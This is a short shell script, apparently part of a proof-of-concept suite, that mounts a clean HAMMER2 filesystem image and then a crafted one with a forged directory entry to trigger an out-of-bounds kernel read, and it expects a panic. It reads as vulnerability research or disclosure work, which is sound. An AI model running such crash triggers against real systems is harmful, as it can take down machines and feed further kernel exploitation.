DF-2619 / run_2619.sh
#!/bin/sh # DF-2619 only: forged dirent (radix 7 @ 64KB-window tail). EXPECT PANIC # (OOB read past the DIO buffer hits an unmapped page) -- run LAST. cd /root/poc/dfv cc -O -o getdents_dump getdents_dump.c || exit 1 LONGNAME=$(head -c 255 /dev/zero | tr '\0' 'A') vnconfig -u vn0 2>/dev/null || true echo "=== DF-2619: control first: base image ===" vnconfig -c vn0 /root/poc/dfv/base2619.img mount -o ro -t hammer2 /dev/vn0@testvol /mnt/h2x || echo "MOUNT FAILED rc=$?" ./getdents_dump /mnt/h2x stat -t "/mnt/h2x/$LONGNAME" >/dev/null 2>&1; echo "control stat rc=$?" umount /mnt/h2x; vnconfig -u vn0 echo "=== DF-2619: forged image (may panic) ===" vnconfig -c vn0 /root/poc/dfv/craft2619.img mount -o ro -t hammer2 /dev/vn0@testvol /mnt/h2x || echo "MOUNT FAILED rc=$?" echo "--- getdents on forged image:" ./getdents_dump /mnt/h2x echo "--- stat 255-char name (dirent_test bcmp path):" stat -t "/mnt/h2x/$LONGNAME" >/dev/null 2>&1; echo "forged stat rc=$?" umount /mnt/h2x; vnconfig -u vn0 echo DF2619_DONE |